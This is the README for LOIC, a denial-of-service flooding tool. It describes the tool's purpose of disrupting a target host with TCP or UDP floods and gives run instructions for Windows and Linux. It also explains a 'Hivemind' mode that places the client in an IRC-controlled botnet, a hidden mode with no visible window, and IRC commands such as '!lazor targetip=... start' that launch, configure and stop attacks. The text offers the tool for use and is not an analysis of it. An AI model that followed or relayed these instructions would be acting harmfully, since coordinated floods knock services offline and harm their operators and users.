LOIC – An open source network stress tool

LOIC performs a denial-of-service (DoS) attack (or when used by multiple individuals, a DDoS attack) on a target site by flooding the server with TCP or UDP packets with the intention of disrupting the service of a particular host.

People have used LOIC to join voluntary botnets. The software inspired the creation of an independent JavaScript version called JS LOIC, as well as LOIC-derived web version called Low Orbit Web Cannon. These enable a DoS from a web browser.

HOW TO RUN ON WINDOWS

GET THE BINARIES!

Requires Microsoft .NET Framework 3.5 Service Pack 1, available at: http://www.microsoft.com/downloads/en/details.aspx?FamilyID=ab99342f-5d1a-413d-8319-81da479ab0d7&displaylang=en

HOW TO RUN ON LINUX / MACOSX

Run debug binaries with mono. Read the wiki at https://github.com/NewEraCracker/LOIC/wiki/ for updated instructions.

HIVEMIND/HIDDEN MODE

HIVEMIND mode will connect your client to an IRC server so it can be controlled remotely. Think of this as a voluntary botnet (though do beware that your client can potentially be made to do naughty things).

Note: It does NOT allow remote administration of your machine, or anything like that; it is literally just control of loic itself.

If you want to start up in Hivemind mode, run something like this:

	LOIC.exe /hivemind irc.server.address

It will connect to irc://irc.server.adress:6667/loic

You can also specify a port and channel:

	LOIC.exe /hivemind irc.server.address 1234 #secret

It will connect to irc://irc.server.adress:1234/secret

In order to do Hivemind Hidden mode, run something like this:

	LOIC.exe /hidden /hivemind irc.server.address

It will connect to irc://irc.server.adress:6667/loic without any visible GUI.

CONTROLLING LOIC FROM IRC

As an OP, Admin or Owner, set the channel topic or send a message like the following:

	!lazor targetip=127.0.0.1 message=test_test port=80 method=tcp wait=false random=true

To start an attack, type:

	!lazor start

Or just append “start” to the END of the topic:

	!lazor targetip=127.0.0.1 message=test_test port=80 method=tcp wait=false random=true start

To reset loic’s options back to its defaults:

	!lazor default

To stop an attack:

	!lazor stop

and be sure to remove “start” from the END of the topic, if it exists, too.